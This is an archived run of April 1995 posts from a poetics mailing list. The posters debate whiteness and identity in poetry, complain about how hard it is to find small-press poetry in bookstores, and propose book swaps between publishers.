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314. Stephen Galen Cope
Re: PC
Fri 14 Apr 1995

Folks,

An essential component in racist discourse is the 'ethinic' absence 'whiteness.' The multi-cultural map - the PC map - is all too often plotted without accounting for 'white ethnicity' (James Clifford's term, in Sulfur 32). The result is an implicit designation of 'whiteness' as the norm -

as that which need not be accounted for, or for
that metter, need not be held accountable (for itself,
it's own constructions, the way 'ethnic' identities are)
either.

Ron's assertion that homophobia invariably
informs the poetics of Spicer and O'Hara (think also
of Duncan), addresses the matter in terms of sexuality,
implying, as it does, that heterosexuality informs
the poetry of, for instance, an Olson or Creeely (as it
so obviously, and insistently, does). The problem is that
where O'Hara is a homosexual poet (or Lorde is an African -
American poet, Brathwaite a Carribean poet, Alarcon a
Chicano poet, etc.), Creeley is just a poet. The discrepenmcy
is elementary.

I remember Rachel Blau Du Plessis posting a call
for papers on this list re: a panel on constructions of
whiteness (at the MLA, was it?), and would be interested
in hearing about what people are coming up with. Around here-
aside from James Clifford - Andrew Maxwell does a radio
program that features 'Whiteness On the Installment Plan,'
a quite poetic (and often comic) commentary/ critique that
catechristaiclly uses the trope(s) of whiteness in a very
successful, explorative way. A related piece by a psuedonymed
Maxwell was published electronically in DIU a few issues ago.

Anybody else trying this one on?

-Stephen Cope

↑ Index

315. Robert Drake
Re: nyc bookstores (long)
Fri 14 Apr 1995

> *I'd like to do a bit of personal whining in regards to bookstores in NYC.*
> *I've recently been told by Elanine Equi that my new book - published by Sun*
> *and Moon and therefore distributed by Consortium, out since mid-February -*
> *has not appeared at St. Mark's or any bookstore she knows of downtown. Books*
> *and Co. uptown supposedly has it, but...really. So either having this*
> *slightly more prominent publisher/distributor on your side doesn't really*
> *help much or , well, maybe it's just me. What can I say? Life's a big*
> *disappointment.*
>
> *Yours,*

> *Rae Armantrout*

not in any way to defend corporate bookstores or the massmarket/ lowest-common-denominator culture they reflect & perpetuate...

nor to deny the frustration of trying to work w/in that system...

but it _do_ reinforce the importance of networks of individuals (ov which this list maybe is a piece) that can pick up the slack. seems i saw yr book (_Made To Seem_, $9.95 frm Sun & Moon, 6026 Wilshire Blvd., LA CA 90036--maybe one of you newyorkers will order it thru one of the offending bookstores?) on the list of several folk's "bedside readings" a few weeks ago--better to be read by an appreciative folks than picked blind by some bookbuyer on the basis of who-knows-what?

to use yr own (frm ibid):

SIT-CALM

In the excitement phase
we think we want something
we're made up to seem
exaggeratedly unfit for,
say, touch.

This is the funny part
but also the dangerous
moment. Right away
we're talked out of it--
no harm done--
by a band of wise-acre friends

"I don't know
what I'm thinking," we say,
to a spike of merriment.
Here is the warm
human part
which dissipates tension

we _aren't_ unfit for touch, our books _aren't_ unfit reading; but if commercial success is the measure, we _think_ that's what we want. and i count myself a wise-acre, trying to talk us out of using their yardstick, substituting instead the warm human part that is community... for the situation comedy/commodity

lbd

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316. **Chris Stroffolino**
Re: Last Names
Fri 14 Apr 1995

Ron mentions Carolyn Hall Ochs--who I don't know...which reminds me of a gossip question...I was once told that Lyn Heijinian's husband, another Ochs, is actually the brother of Phil Ochs (d.1968 Chicago). Does anybody know if that's true---and just because we shouldn't care about the "author behind the text"(37 and in perfect health) doesn't mean we can't speak about the "family construct" I suppose....(Also, maybe this Ochs is related to Carolyn Hall...etc..) CS

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317. **Rae Armantrout**
Re: Last Names
Fri 14 Apr 1995

Lyn is Carolyn Hall Ochs and I am Mary Korkegian.

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318. **Herb Levy**
Re: poetic consistency
Fri 14 Apr 1995

Joe -

If I understand the sense of the term "voice" you're using, it seems like you're conflating "content" and "form" in there. (Sorry to use such old fashioned terms in response to a posting quoting Deleuze & Guattari.) & I still think that you can use your "voice" to talk about anything, using a variety of structures.

Yes, there is a tendency for readers to presume that a poet or any kind of artist will pretty much continue in the same vein. And, yes, it's hard for a writer (or etc.) to fight this prejudice on the part of readers.

Still, thinking back over the range of poets who get name-checked on this list, there's a hell of a lot of this kind of shifting that's gone on and been more or less accepted.

Bests,

Herb

↑ Index

319. Herb Levy
Re: The Ochses: Larry & Phil
Fri 14 Apr 1995

Chris -

I've known Larry Ochs (who for those on the list who don't know, is the "O" of the ROVA Saxophone Quartet & a very good musician and composer) for about twelve years and I'd be pretty surprised if he were in fact related to Phil Ochs. It's not something I'd even thought to ask, so I could be wrong, but Phil seemed a little too WASPy (to tie this in to the white ethnicity thread) for this to be the case.

&, Speaking of which, Good Yom Tov (which I've never typed before and just realized is a bit redundant though idiomatically correct) for those of you who live where the sun has already gone down.

Bests,

Herb

↑ Index

320. Herb Levy
Re: jazz/music
Fri 14 Apr 1995

On Thu, 13 Apr 1995, George Bowering wrote:

> *Last I heard of Albert Ayler, he was found in the East River. Is that right? But I want to know the latest on Don Ayler. When Albert died, Don was reportedly in some house for the criminally insane or something. Can anyone tell me more about the story of these two great musicians I was lucky enough to hear live and up close?*

George -

I think I saw an article in Coda (you know, Canada's jazz magazine, not the US poetry newsletter) in the last few years about the Aylers. I don't have it, but Ken Pickering, head of Coastal Jazz and Blues in Vancouver, would probably know. I'd call him and report back, but it seems silly 'cause it's a local call for you. (Please say hi from me if you do call.)

For that matter, I think Bill Smith, one of the editors of Coda, moved to Vancouver Island a while back.

If you find anything out please post it.

Thanks,

Herb

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321. Sheila Murphy
Re: poeticslist serve and des...
Fri 14 Apr 1995

Chris, Nice, nice passage.

SEM

↑ Index

322. Ron Silliman
Mail before Malls!
Sat 15 Apr 1995

Half of all the books in the US are bought through the mails. A lot of that includes professional books (and a book of poems is, I would argue, a curious category of the professional book, as are all those tomes on how to study for your real estate exam).

Forty percent of all books sold in the US are romance novels.

What's the difference between an airport bookstore and a Dalton's? (Some airports, like Portland's, have consciously modeled their commercial spaces after the territorial impulses of the mall and done a pretty good job mimic-ing the form. I can imagine locals going there to shop.)

SPD in Berkeley (one block from my house) is not so much a bookstore as a distribution warehouse that uses its front nominally as a bookstore as a conscious (and money-losing) service to local readers. The real business is the catalog.

East of SPD, the only poetry bookstore that I've ever been in that I would call great is Woodland Pattern in Milwaukee -- easily the best poetry bookstore as bookstore in the USA. Anne Kingsbury and Karl Gartung and their friends have done an amazing job in a city that people do not automatically think of as one of the major writing centers. But if you want to see what a good poetry collection might look like, that's the model I'd recommend.

Then there are bookstores like Black Oak Books in Berkeley, which militantly refuse to carry language poets on the grounds that "language poetry is puke."

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323. **Sheila Murphy**

The Impulse to Stock Things

Sat 15 Apr 1995

Rae's post about bookstores, noted in reference to her new book (which I really loved, by the way!) brings to mind a general complaint--perhaps a seconding of what she says ('though not, I realize, intended as a motion!).

There seems, even among our fine independent bookstores in these parts (SW US) a disinclination to go after new poetry books or books on poetics, even those with Small Press Distribution. The whose issue seems to have a big vacancy sign posted before it. Certain standard, known commodities, are customarily planted onthe shelves, typically the books being taught in some class at the University. No harm in that except the exclusivity.

One store here has elected to go with a section of Arizona poets (of which there are many), but the contact person informs me that it's "Tough to get the books," (mine and everybody else's) even when they are supposedly available through SPD.

I have no idea as to the accuracy of the alleged difficulty. And I'm not picking on SPD. My message is that there seems no point of origin in any potential transaction. Bookstores here and other places do nott routinely seek to order what I would consider pretty vital offerings (Rae's book, say, for one). There's a sort of lethargy. More and more, it's a matter of merely ordering the sure things.

In my own case, I've found it somewhat disconcerting when asked by friends who live not primarily in any literary realm, but people who have an interest in, say, just strolling in to Border's or Changing Hands and picking up a book of mine. They ask, logically enough, "Where can I get your books?" Well, I have to do this shuffle. I may say "Border's SHOULD have them...maybe Changing Hands does. I'm sure that either place will special order if they're out." Let's just say that I'd like to be sure!

I've never had the intention of running a bookstore out of my office or house. Naturally, I take books along to readings. But there's nothing very easy or natural about the commerce of the everyday in this.

I use myself as an example. But putting me in the place of the customer, I have to go through many hoops, as do most people on this list, I suspect, just to get hold of something that interests me. It's as though it is a treasure hunt to find some books. The treasure part is nice. The hunt is not my preference!

I tend to order from someplace that distributes, or from presses directly. But it would be great to walk into a place, and equally to the point, to have people who don't already know some of this stuff, to walk into a place and have access

to what we're doing. Too much explanation, too much shuffling, has to precede a simple question.

A frustration, not one that can't be solved, I'm sure. I've done SOME work on it, but have had to place a higher priority on making a living and creating works.

SM

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324. Chris Stroffolino
april
Sat 15 Apr 1995

I just wanted to let everybody know that we are "zeroing in" on that time of year Frank o'Hara immortalized as "it's april. no, may. it's may" I may be kinda paraphrasing though (and page space and all that stuff really really really matters)...anyway it needs no "compensation" or phony compensation (like xmas)....Signed, Rae Armantrout

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325. Joe Amato
Re: poetic consistency
Sat 15 Apr 1995

geezus, herb, i hope to hell i haven't been conflating form/content, esp. since i don't find the couple all that useful...

look: by 'voice' i'm referring to a set of rhetorical conventions, accepted tacitly (generally) by a specific community... i'm still interested in hearing from folks regarding how/why a move away from identity politics isn't in so many ways (or is it?) reflected in a move away from 'voice' as such... now this consistency that is taken to be 'voice' can take different *forms*... but i'm interested esp. in the construct, not the specific form (and by "form" here i mean nothing like the form/content split to which you refer)...

i learned just yesterday, after posting this question to the list, that this topic was precisely one of those raised at the gender studies conference in portland oregon (earlier this week)... in terms of more avant garde practices, one might have thought this had died with the new left... but not so---i yet hear (on a regular basis) evaluation of work rendered precisely in terms of this quality...

so again, i ask, what gives?...

all best,

joe

↑ Index

326. Kenneth Goldsmith
Bookstores and Small Depressing NonDistrubition
Sat 15 Apr 1995

Rae and others,

Rae, you are not alone in your unavailability in NYC. I have done the covers for Bruce Andrews' last two "perfect bound" books--_Tizzy Boost_ (The Figures, 1993) and _Divesture-A_ (Drogue, 1994). Bruce and I constantly lament the fact that these books are nowhere available commercially in _our_ home town. Both are "distributed" by SPD. We often think how nice it would be for one of our friends to walk in to a NYC bookstore and just happen upon our work. Instead, they (as we all do) receive them through the mail gratis--which is nice, if you're on the right mailing list...

Someone brought up the idea of compensation for our work. Rae, if you wanted better distribution, would it kill you (i.e. any of us on the list) financially to send a text file of your *latest* and make it available to all via EPC? I mean, let's face it, has anyone ever really made money on publishing their latest book of poetry?

Peace,

Kenneth Goldsmith

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327. Ted Pelton
Re: nyc bookstores
Sat 15 Apr 1995

Thanks a lot, Loss, for your time & effort on this. This exceeds my most hopeful expectations of what I'd get when I asked. Anything you want me to do/find for you?

I'm in your debt. Ted

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328. maria damon
Re: PC
Sat 15 Apr 1995

In message <[redacted]> UB Poetics discussion group
writes:
>

>
> Anybody else trying this one (the social construction of whiteness) on?
>
> -Stephen Cope

yes. i wrote something on Bob Kaufman's "Bagel Shop Jazz" that talks about the golden triangle of outsiders the poem portrays --women, Jews and Blacks --part of my paper treats, following David Roediger's arguments in The Wages of Whiteness and The Abolition of Whiteness, that ethnic immigrant groups had to become white when they arrived, in order to have access to privileges such as civil rights, state protection, etc. So that, for instance, Jack Kerouac and Allen Ginsberg are "white," but their parents or their parents' parents had had to become white. (part of roediger's thesis --he'a a labor historian --is that when immigrants arrived they were given whiteness to compensate for their extreme poverty-level jobs). there's no such given as whiteness, though white people often take their privilege for granted, not recognizing it as such. see also ruth frankenberg's White Women, Race Matters (U of Minnesota Press, 1993).

best, maria damon

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329. eric pape
Re: PC
Sat 15 Apr 1995

Thanks Ted. I was wondering when someone would make your very neccessary point. That this is still a contested postion in the States is revealed by Limbaugh, who said something to the effect that there is no record of genocide in the U.S. and as proof suggested we look at census reports. Pretend this is a Where's Waldo sort of exercise: how many logical fallacies can you find in that? Another thing, it is not liberal handwringing to notice. Thanks, Eric.

↑ Index

330. Michael Boughn
Re: politics
Sat 15 Apr 1995

Ron:

From here it didn't sound like Ed Foster was denying that all the shit and glory of our daily lives--even the political shit and glory--belongs in our poems.

I thought his point had more to do with the difference between, say, _The Communist Manifesto_ and _A_. Not that I don't enjoy _The Communist

Manifesto_--I like happy endings as much as the next guy, but I try not to confuse them with poetry.

Mike
[redacted]

↑ Index

331. Andrew Joron
reductionism
Sat 15 Apr 1995

Poetry may contain or be conditioned by numerous factors like politics, sexuality, nationality, etc. but what "saves" any given poem *as a poem* is not reducible to any one factor, or ensemble of factors. The argument becomes one against reductionism. Andrew Joron

↑ Index

332. cris cheek
The Impulse to Stock Things (longish)
Sat 15 Apr 1995

Seems as if we in England share your distribution problem. Approximately 15 years ago the number of bookshops prepared to stock little or small press books (particularly if not perfect bound) dramatically declined. The financial imperative as described re SPD dominated the market dry.

The problems of product placement -- if and under what circumstances at all -- sale or return -- deteriorating or damaged goods -- sliverish profit margins -- shrinking risk -- author-subsidized publishing -- threshholds of marketability ossifying into unfortunate and ultimatetly divisive 'star' status if not outright hierarchies of self-perpetuating (sometimes at the least colluded in) hit names of given generations or 'movements' -- regressive cultural 'cold war' hegemonies freezing out the awkward -- and more, have all been discussed or somehow raised over the past few weeks.

The situation impinged so drastically onto poetry publishing here that the number of active book series and small magazines collapsed. Books were being produced, often although not exclusively, in tiny xerox editions (50-100) circulated directly amongst friends and peers as social gifts.

One result has been to render much of the most interesting writing done here in the past fifteen years all but invisible. The New Curious (not necessarily but often young) find it close to impossible to get hold of any of the work. Even libraries and archives must have a strange shelf reading 'vacant pending' for British poetries circa 1979-93 (these dates are by no means brittle). That

situation is only recently beginning to change. By the same token how many US poets have been published much here in that time frame and vice versa compared to in the previous decade and a half.

There is one shop (Compendium) in London with a very small selection of contemporary poetry of any significance. Current US writers are represented by a nominal 'hard-core' who sell.

A recent overview article on English poetry by Charles Bernstein in Sulfur attests to the 'power' of the published book as being seen to signify presence and activity for a poet. An interesting enough provocative criteria. You might be reading and performing widely for example and yet not considered - unless a published artefact identifiable as being authored by you could be objectified. Now I find this very intriguing. Especially in the light of Rae's recent post about the unavailibility of her most recent book, especially when that book is a Sun & Moon / SPD distributed product. (yes I've noticed the doubts cast onto those validations too).

There is a need to break out of the reductive cycles and circumstances into which we continue to buy. As several have suggested right here.

Ron is right when he says that direct mail works. It does so primarily for those with the money to pursue their interest and/or for they who know what they want and pretty much know what they're going to get. Sheila's also right when she wants the possibility, at least, of someone who doesn't already know what they're looking for to just pick up her book or Rae's or anybody's on this list and others beyond in a bookstore - be excited or intrigued enough to buy it and the rest, as is said, is herstory.

I don't have any answers but I do have a simple suggestion which this list can further facilitate. Books are already advertised for direct purchase on the list and the work quoted from here (yes I know it's rudimentary and unsatisfying for a lot of work for many reasons but we should stick with it and work on making the environment here as flexible and accessible as possible (I'm just as e-literate as many others here I would guess and I'd love to learn quickly or have someone else do the slog for me but - I had to learn to write and here I go again). Books are already archived in the EPC (as offered) and the relevant order information can be appended. It's my sense that a constructive inter-relationship is to be encouraged between electronic publishing and printed matter.

Given all of that how about product exchange? Now I realise right away that this only makes any kind of sense when distances between presses and / or distribution 'territores' are large. On suitable negotiated bases both books and CDs, at least, could be simply SWAPPED to equivalent value. Instead of me selling 300 copies of a chap I'd sell 200 and then swap 100 for chaps by others

and sell those. (amounts could be small - like anything from 3 - 25 copies). I know many will throw up their hands in horror (but then how will they catch them when they drop) seriously -

Advantages:

- each our books are made available / accessible to a wider audience - sometimes it's easier to push someone else's book than your own - the range of books on a stall at a reading / performance series (or whatever) can feel very much like a celebration of strength and depth without competition (solidarity) and dare I say (sorry Lisa) more 'groovy' - problem of buying sight unseen via direct mail is obviated, people can see the poems - we several all have a wider stock - reactivates those attic box fulls. and others I haven't time to articulate right now.

I'm naive enough to feel that a small version of such a scheme is worth trying. I'm also experienced enough to know that this way pratfalls lurch BUT - It's how the Recommended network of record labels operated for best part of 10 years in western europe. I know because I helped out. Such schemes are bound to have a life length appropriate to their usefulness.

Or to translate Spencer:

To accept the world is to be changed and to thereby change the world.
This process is a generative discourse.
Exchange at all levels and for all purposes is part of this process.

any thoughts? yours - the space cadet for tonight and before everyone reaches for their hot response key / I'm aware that much of these issues skirt into some of the questions being raised re - this space and it's potential and how each reads here and so on and I'm going to try to post something on that tomorrow cris

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333. Gary Sullivan
Dissemination (long)
Sat 15 Apr 1995

Dear Cris: Many, many thanks for your informative "history chunklette" of English distribution/poetry dissemination. Want to point out something: Sun & Moon's primary distributor isn't actually SPD, but Consortium, here in St. Paul. It's an important distinction because the failure of Consortium to get (say) Rae's new Sun & Moon book into NYC bookstores is much more eyebrow-raising than would be SPD's. SPD doesn't have any "field reps," though Steve Dickison maybe visits a few stores a year and pitches a couple of tiles. SPD isn't technically a distributor: they're a "warehouser," meaning, you go to them first,

not the other way around. Consortium, however, which carries only some 2 dozen presses (those the size of Sun & Moon, Coffee House, & Serpent's Tail/High Risk), has at least 15 "field reps" scattered throughout the country. Twice a year Consortium holds a "sales meeting." Someone from Sun & Moon, Coffee House, Serpent's Tail, etc. comes out with their list for the next "season," and pitches their list to the reps, who in turn pitch the books to various bookstores, often using the publisher's original pitch. I sat in on one of the "Consortium prep" marketing meetings at Coffee House and I'm here to tell you: Ain't no way to pitch a book of poetry to Consortium unless (a) it's an anthology of some sort, especially if it has a topical "theme"; (b) the book is by one of the "currently hot" ethnic groups (books by Asian and African Americans are "currently hot"--meaning, the two ethnic groups general readers are currently buying a good number of books by-- don't mean to offend anyone; if the "currently hot" ethnic groups were Irish and German American, I'd use the same terms); (c) "sex, anyone?" (including anything involving some or several issue(s) of "gender"); or (d) "Didn't you used to president, Mr. Carter?" (famous people who decide to "give poetry a go"--double entendre definitely intended.) A Consortium rep has 30 seconds (I swear I was given precisely that figure) to pitch a book, any book, to Mr. or Ms. Bookstore Stocker, and while *no* book--in my opinion--can be pitched (or dismissed) in that amount of time, that's what most books get today. (Fun, isn't this?) Oh! Here's a Fun Anecdote for Rae: The book Coffee House was having trouble at that time coming up with a pitch for was Elaine Equi's _Decoy_, for which Rae wrote a quite- readable-in-30-seconds blurb. As nice as your blurb was, Rae, it was apparently not "pitchable" by Coffee House/Consortium standards. "Well," someone at the meeting said, "Elaine's going to be *at* this meeting, so we can't give Consortium our usual 'It's poetry; do what you can' speech." (Poets, go back over that sentence again.) "We'll have to come up with something." They didn't come up with anything while I was around, so I can't tell you what they wound up saying.
If Rae's book is not in stores in NYC, I assume it's because the person pitching Rae's book for Consortium didn't have anything to say about the book (in 30 seconds or less) to suggest it would sell very well ("Rae Armantrout used to be Quarterback for the Dallas Cowboys!") Sure, *we* like Rae's work (I just finished _Extremities_, Rae--wonderful!--I know it's "old," but wonderful all the same) but, if you're like me--and I know *I* am-- you don't work for Consortium. Bookselling in this country is too depressing to think about, except that we *have* to think about it, because that's what some of us do. Not only that, but it's not just about selling books, it's about disseminating information, ideas, points-of-view, ways of experiencing (knowing) the world (or "the word"). One reason my eyebrows don't "do-the-wiggly" reading about censorship-advocates like [insert name of backwater GOP running for congress next election year] is because the truth is: The "market" has and will continue to be the Primary

Censorship Agency in this country. Not the *only* one, mind you. But, sort of the "Elvis-elect" of censoring bodies, if you will. ("Elect" 'cause we "asked" for this- -consent of the governed, & all that.) Consortium exists by virtue of Bookslinger, the latter of which used to be in Minneapolis, & was every bit as big, carried as many titles & presses, as SPD. (I know, I used to frequent both.) Consortium, in fact, is in good part responsible for Bookslinger's demise in 1993. Bookslinger had a lot of problems, but some of its biggest problems were the people who started Consortium AND DID SO IN THE OFFICES OF BOOKSLINGER. The Consortium people used to WORK AT Bookslinger. Then, they thought: "Say, what if we took a dozen of them best-selling ding-dang presses, and started a NEW distributing company to FOCUS ON THEM?" They did that, using Bookslinger's office space, computer, paper, supplies--AND PAID FOR NONE OF IT. Then, when things "got rolling" they moved out into their own office and started a new policy: ALL OTHER DISTRIBUTORS WANTING BOOKS ON PRESSES WE CARRY HAVE TO GET THEM FROM *US* AND *NOT* THE PRESS ITSELF. AND THEY HAVE TO *PAY* FOR IT, TOO. In other words, gang, Consortium ultimately wound up TAKING AWAY Bookslinger's biggest accounts, AND THEN MADE THEM PAY FOR IT! Ask SPD, anyone, where they get their Sun & Moon books, their Coffee House Press books--from Sun & Moon? From Coffee House? No, no, no. You're not thinking "mafia." You're not thinking "extortion." You're thinking "consent of the governed." Think, for a moment, "Hegemony." Now, care to wage a few bucks on it? Well, you're "right on the money" if you said, "Gary, I'll wager they get them darn books from the friendly PIRATES at CONSORTIUM, and they PAY A LITTLE 'SERVICE CHARGE' FOR 'EM, IF YOU KNOW WHAT I MEAN.") DING! DING! DING! DING! DING! DING! DING! DING! (Excuse that outburst. I read a lot of Lester Bangs as a teen.) Bookslinger had a lot of problems. They never established nonprofit status, had to rely on a "fiscal receiver" for what grants they did get, a fiscal receiver in fact that didn't-- reportedly--"like" "them" "very" "much." Consequently, they (sit down for this one people) *had* *to* *rely* *on* *book* *sales* *to* *keep* *in* *business*. (My apologies for those of you w/weak hearts.) They were also horribly, horribly disorganized. (Walking into their offices, I always assumed I was back in the Bay Area, & there had been a massive quake.) But, Consortium put the final nail into Bookslinger's coffin. Or, that's one opium-eating, lake- staring-at, frail & timid, longhaired, velvet-suit-wearing poet's opinion, anyway. So. Cris, your idea of exchanging a number of books w/a number of other publishers is not *only* a good one, it's one Marta & I've been practicing now for a while, first with Karl Roessler & his Trip Street Press (two lovely books available; I'll plug them later in a separate post) and, just recently, with Spencer Selby & his SINK Press (who, if you'll remember, just did a book by Charles Borkhuis). It's, in fact--& I'll certainly not apologize for saying this--"totally groovy." Yes, by all means: Let's

do it. Anyone, broadcasting from whatever country, can contact me via e-mail about this, and I hope you'll contact all the other publishers on this list (& the even more publishers not here) as well. Yours, Gary

↑ Index

334. FUNKHOUSER CHRISTOPH

jazz/poetry

Sat 15 Apr 1995

Coincidentally rec'd in the mail yesterday a tape from
a comrade in england, it's
david henderson singing, circa 1975, "Love In Outer Space"
accompanied by Sun Ra arkestra. What an incredibly smooth voice!
Really, one of the lovliest singing voices I've heard in
a long time, 'specially from a dude. I wonder what he'd have
to say about being left out of most a dem antologies...

The other side of the tape is Baraka & Arkestra, performing Baraka's righteously afrocentric "A Black Mass", which is published in one of the collections of his dramatic works. The recording is from nineteen sixty eight and it is eentense. jacoub!

Bob Kaufman, "the best poet," wore khakis too

Stroffolino probably wore khakis.

speaking of whom, Chris, Sonny Ochs, Phil's brother, is an elementary school teacher somewhere up here near Albany. She co-hosts the "Mostly Folk" radio program on WRPI late sunday afternoon/ early evening. Someone correct me if I'm wrong, but Larry Ochs (who played on that splendid Camper Van Chadbourne lp, _the eddie chattebox double trio love album_, i think) has roots in the Ochs family at the New York Times.

why does it fascinate me that Lyn & Rae have more than one name?

Call me,

chris

↑ Index

335. Lindz Williamson

Re: Ted's PC

Sun 16 Apr 1995

I thank you for your response and agree that things in canada and the Us are ertremmly different. My father's side of the family is based in Oregon, making in me painfully aware of the world of differencein attitudes. As well

being on the west coast there isnot a large black population. Most of the friends that I have that are black are refugees from Ethiopia and they do not contian the America Black attitude that is defined as a "black thing" (meaning language, dress,, music). Mostlikely this is why they have escaped the discrimination that Afro-American often receive. However, being on the west coast brings up a another issue of discrimination from the Asian population. But being Asian typically carries the stereotype of being less "agressive" and "twice as intelligent" as say the Afro'Americans, therefore they would not face the same sort discrimination. And what I mean by not kissing ass any more refers to Canadian history, not American. I'm talking about instances such as the Japanese internment, Chinese head taxes, refusal to admit Jewish war refugees in WWII while German war criminals hide out in Toronto and Vancouver, banning of the potlatch, and so forth. All these things were in my history texts and acknowledged as crimes against humantity, so there is no need for me to feel guilty (although it does pain to walk to Pigeon park on Welfare wednesday and see Indians shooting up on junk, and I can't help but think this in not natural, not the way things are supposed be), I can't apologize. I will wear my heart on my sleeve and put forth extra effort to clean up the mess that has been created for me and my generation, but saying sorry does not help anyone.

Books for reference on "ethnic" life in Canada

In Search of April Raintree, Beatrice Culleton
Under the Ribs of Death, John Marlyn
Disappearing Moon Cafe, Sky Lee
Obasan, Joy Kagowa
The Tin Flute (Bonheur d'occassion), Gabrielle Roy (just because the french are considered more ethnic than the english)

Lindz

↑ Index

336. Ted Pelton
books
Sun 16 Apr 1995

Woodland Pattern is the "one good Wisconsin bookstore" I referred to in a previous post. It is also great for avant fiction and has a "creative prose" section with poetics/ essays/ theory etc. But I had no idea there weren't better places elsewhere when I asked about NYC. I feel like Dorothy, disabused of grandiose notions of Oz -- "there's no place like home."

Ted Pelton

↑ Index

337. Mn Center For Book Arts
Re: Bookstores and Small Depressing NonDistrubition
Sun 16 Apr 1995

I have conflicting ideas on the issues of the availability of books in bookstores in NYC and elsewhere. Chax books are also distributed by SPD, and one, by Kathleen Fraser, was reviewed by NY Times Book Review, Village Voice, & elsewhere, and was still, according to reports I got, largely unavailable in NY. So, yes, it hurts. On the other hand, I hate to defend the market economy, but I do recognize that it exists, and part of me wonders why so many people even expect bookstores to be intellectual service organizations, rather than businesses. The exception Ron Silliman pointed to, Woodland Pattern, is organized as a nonprofit organization and is, in some ways, explicitly an intellectual service center, and they could not possibly exist without individual, foundation, corporate, and government contributions. That goes some way to explain why they are the most fantastic poetry bookstore on the continent.

Charles Alexander

↑ Index

338. Mn Center For Book Arts
Re: The Impulse to Stock Things (longish)
Sun 16 Apr 1995

I'd like to volunteer Chax Press for the swap book notion. Yes I'd devote 100 copies of any title, although I might have to work out a few things with authors. But count us in. Great idea.

charles

↑ Index

339. George Bowering
Re: PC
Sun 16 Apr 1995

Stephen Cope mentioned that while O'Hara is a "homosexual" poet, Creeley is just a poet. I dunno. I know people who thibnk of Creeley as an American poet. I myself always think of him as a one-eyed poet.

But seriously, I do remember that about 20 years ago Ginsberg descriobed my and Victor Coleman as good heterosexual poets. As it was the first time anyone had called me that I was a little tripped, and then I liked it. But I havent, I think, been called that by a hetero-breeder poet, that I know of.

Still, I have heard O'Hara called a NY poet 200 times for every time I have heard him called a gay poet. And Jack? Well, Jack is Jack. I hold his imaginary hand.

↑ Index

340. **eric pape**
Re: Dissemination (long)
Sun 16 Apr 1995

I don't know how you do it Gary. Informative and amazingly entertaining post. We should perhaps add the problems of distributing not only books of poetry but any marginalized cultural product. For instance, the late '80s were an absolute renaissance for indy comics such as Love and Rockets, Yummy Fur, and Jim, etc, but those of us that are interested are just now beginning to get a sense of what all was available because most were distributed to only two or three commix stores throughout the country. We can get them now only because art spiegelman stirred up enough interest with Maus that major commix pubs had to notice and in effect bought out the indies. Now, they are available as back catalog items. Unfortunately, under current economic conditions, this seems to be the only way to win the game of notice, but unfortunately it at the same time kills the quality. The freedom that obscurity bought for the indy comics guy is now gone and what is done now is hardly of the same quality. Its a game that can't be won, unless, and this is the point of my post, we develop our own distribution networks. The best of all possible worlds would be to combine Ron's and Rae's concerns. Where those who know the stuff could direct mail and those who don't can happen upon it. The only way I can see this happening is on the net. Various catalogs could be made available and one could order stuff while logged on (as you can do now on Prodigy, etc.) This network could be placed on various gopher/www lists (like jewels) and in this way practically anyone that has access to the net (admittedly a small group now but getting larger) can have access to the books. This would then complement the availability of e-books, which could in fact assist sales.
A bit of wishful thinking, prob, but is anyone interested? Thanks, Eric.

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341. **cris cheek**
Re: politics
Sun 16 Apr 1995

The first translation of 'The Communist Manifesto' into English was by Helen Macfarlane and published in George Julian Harney's 'The Red Republican' on Saturday, November 9, 1850. [Price One Penny]

Translation buffs will be amused to know that she sandbaggeded its famous opening line from the plain and direct 'A Spectre is haunting Europe' to 'A frightful hobgoblin stalks throughout Europe'.

Resultant mutual suspicions between revolution and poetry have been a struggle ever since.

game on
cris

↑ Index

342. James Sherry
Small Depressing Non-Distribution
Sun 16 Apr 1995

Yes, Kenny, there is no distribution. Volume constraints on distribution have increased over the past 15 years tothe point where some distributors will not handle a book that has a print run of less than 5000 copies. This institutionalization is recognized by everyone, but no one seems to be willing or able to do anything about it.

I sent a long letter to several people involved with distribution, attempting to suggest alternatives to the current system and no one was able to reply with any support although all recognized that the current system of bookstores and distributors does not service the literature only volume sales. For example, The Nation magazine attempted to get Consortium to distribute 3000 copies of an anthology of articles from the Nation on race dating back to 1865, a guaranteed seller. The Nation didn't have the captial to fund more than a short run and Consortium turned them down saying they had to have 5000 copies to distribute.

This is obviously an absurd example of bad business on the part of Consortium, but even SPD has a mandate as a wholesaler and not a true distributor. SPD does not have sales reps that go to stores and as a result their scope is limited. They do a good job in California and some other places, but not in NY or other places where one needs a rep to continuously barrage to stores. But the bookstores in NY are a joke as well. They have no interest in anything but what they can sell to unsuspecting college students. Even some of the "better" stores complain they can't get service from smaller distributors. In fact the entire distribution network has become so computerized and dependent on volume for success that I have decided to try to sell texts on the net. But let me ask a broacast question?

HOW MANY READERS OF THIS LIST WOULD ORDER A BOOK THROUGH THE MAIL? HOW MANY WOULD ACCEPT AN ASCII FILE FOR 1/4 the price of a book?

I wonder. I have mailed many mailers to the Segue mailing list. MOst of the people on this list are on the Segue list, but only 20 or tops 50 respond to a direct mail piece of a book they can't get in the stores. I think our buying habits are sadly what determine our taste and are conditioned by habit and consensus. I offered a list of the Segue catalog to all these people for free, but only four were interested enough to request it. (Oh and folks you will be getting it soon.)

We can blame the bookstores or blame computerization or blame THEM, but in fact how many people will go one step out of their normal patterns to get a book? A study of book buying indicates that some huge portion of all books, 60%, purchased by a small portion, 10%, of buyers.

Anyway if there ever is an NEA again or any funding or private capital for books, I hope small publishers get some relief on the market side.

James

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343. James Sherry
What is Digest?
Sun 16 Apr 1995

Loss, I like your evocation of the midnight flurry, poet brains discharging on the WEB at midnight, foetal excitation when the mother rests. I have had to opt for the "Digest" mode, which as you rightly point out is a consolidation of data, to shorten my day at the tube. I wanted to share the change for me with the list. I think I would have kept the message by message format if I had the ability to control deletions more easily in my mailing program. So as the technology improves for me I will come back to that format. James

↑ Index

344. James Sherry
What is Digest?
Sun 16 Apr 1995

Ron, I am worried and that's why I wrote. I guess I want my mail, even in response to server messages to come to me direct as well as on the "Digest", since it might not [1834...com}e][direct8921at]. James

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345. **James Sherry**
What is Digest?
Sun 16 Apr 1995

Chris, To reply simply to your extended and interesting message, I wish to note how much a change in FORMAT of the same material created for me a significant change in MEANING. The particular thing I felt about it I see now as less important, although it has impact for me as I said to Ron, I'd like any responses regarding my mail to also come to me direct and not just to the list which I might miss on a given day. James

↑ Index

346. **Tom Mandel**
Re: Last Names
Sun 16 Apr 1995

